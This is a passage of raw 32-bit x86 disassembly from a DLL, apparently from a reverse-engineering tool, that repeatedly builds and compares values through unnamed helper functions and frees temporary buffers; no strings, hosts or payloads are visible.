je 0x100070c9
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x100070d9
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x1005681d
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x10056827
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100594b6]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10007144
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.100033ac
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10007164
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10007174
push ebx
call fcn.1003357b
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x10007187
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1000719b
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x100071af
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x100071c3
mov eax, 0x100563e4
push eax
push 4
mov ebx, 0x8cc
call fcn.100350b0
add esp, 0x34
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x100071e6
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x100071f6
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10007206
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10007216
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056832
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x10056840
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100594b6]
push dword [ebp - 8]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10007281
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.100033ac
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x100072a1
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x100072b1
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x1005684a
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x1005685a
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100594b6]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x1000731c
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.100033ac
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x1000733c
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x1000734c
push ebx
call fcn.1003357b
add esp, 4
push dword [ebp - 0x20]
push dword [0x100594ea]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100011c0
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10007378
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10007388
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056865
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x1005687d
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100594b6]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x100073f3
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100033ac
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x10007413
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10007423
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056888
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x100568a0
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100594b6]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x1000748e
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.100033ac
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x100074ae
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x100074be
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000301
push 0
push 0x1005648b
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x100568aa
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100594b6]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10007529
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.100033ac
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10007549
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10007559
push ebx
call fcn.1003357b
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x1000756c
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10007580
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10007594
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x100075a8
mov eax, 0x100563e4
push eax
push 4
mov ebx, 0x8c8
call fcn.10033d10
add esp, 0x34
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x100075ce
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x100075de
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100075ee
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x100075fe
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000301
push 0
push 0x1005648b
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x5c], eax
push 0xa0000101
push 0
push 0x100568b5
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x60], eax
push dword [0x100594b6]
push dword [ebp - 0x60]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x10007669
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.100033ac
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x10007689
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x10007699
push ebx
call fcn.1003357b
add esp, 4
mov eax, dword [ebp - 0x68]
push eax
push dword [ebp - 0x58]
call fcn.10001b74
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x100076c6
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x100076d6
push ebx
call fcn.1003357b
add esp, 4
cmp dword [ebp - 0x6c], 0
je 0x10007ac5
push 0xa0000101
push 0
push 0x100568c0
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x100568ce
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100594b6]
push dword [ebp - 8]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1000774b
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.100033ac
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1000776b
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x1000777b
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x100568d9
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x100568e9
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100594b6]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x100077e6
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.100033ac
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10007806
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x10007816
push ebx
call fcn.1003357b
add esp, 4
push dword [ebp - 0x20]
push dword [0x100594ea]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100011c0
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10007842
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10007852
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x100568f4
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x1005690c
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100594b6]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x100078bd
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100033ac
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x100078dd
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x100078ed
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056917
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x1005692f
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100594b6]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10007958
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.100033ac
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10007978
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10007988
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056939
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x10056943
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100594b6]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100079f3
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.100033ac
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10007a13
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10007a23
push ebx
call fcn.1003357b
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x10007a36
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10007a4a
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10007a5e
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x10007a72
mov eax, 0x100563e4
push eax
push 4
mov ebx, 0x8cc
call fcn.100350b0
add esp, 0x34
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10007a95
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10007aa5
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10007ab5
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10007ac5
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x1005694e
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x1005695c
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100594b6]
push dword [ebp - 8]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10007b30
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.100033ac
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10007b50
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10007b60
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056967
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x10056977
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100594b6]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10007bcb
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.100033ac
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10007beb
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x10007bfb
push ebx
call fcn.1003357b
add esp, 4
push dword [ebp - 0x20]
push dword [0x100594ea]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100011c0
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10007c27
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10007c37
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x10056982
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x1005699a
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100594b6]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x10007ca2
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100033ac
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x10007cc2
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10007cd2
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000101
push 0
push 0x100569a5
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x100569bd
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100594b6]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10007d3d
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.100033ac
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10007d5d
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10007d6d
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000301
push 0
push 0x1005648b
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x100569c8
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100594b6]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10007dd8
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.100033ac
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10007df8
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10007e08
push ebx
call fcn.1003357b
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x10007e1b
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10007e2f
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10007e43
mov eax, 0x100563e4
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x10007e57
mov eax, 0x100563e4
push eax
push 4
mov ebx, 0x8c8
call fcn.10033d10
add esp, 0x34
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10007e7d
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10007e8d
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10007e9d
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10007ead
push ebx
call fcn.1003357b
add esp, 4
push 0xa0000301
push 0
push 0x1005648b
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x5c], eax
push 0xa0000101
push 0
push 0x100569d3
push 1
mov ebx, 0x168
call fcn.10033a10
add esp, 0x10
mov dword [ebp - 0x60], eax
push dword [0x100594b6]
push dword [ebp - 0x60]
mov ecx, 2
call fcn.100011c0
add esp, 8
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x10007f18
push ebx
call fcn.1003357b
add esp, 4
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.100033ac
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x10007f38
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x10007f48
push ebx
call fcn.1003357b
add esp, 4
mov eax, dword [ebp - 0x68]
push eax
push dword [ebp - 0x58]
call fcn.10001b74
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10007f75
push ebx
call fcn.1003357b
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x10007f85
push ebx
call fcn.1003357b
add esp, 4
cmp dword [ebp - 0x6c], 0
je 0x10008374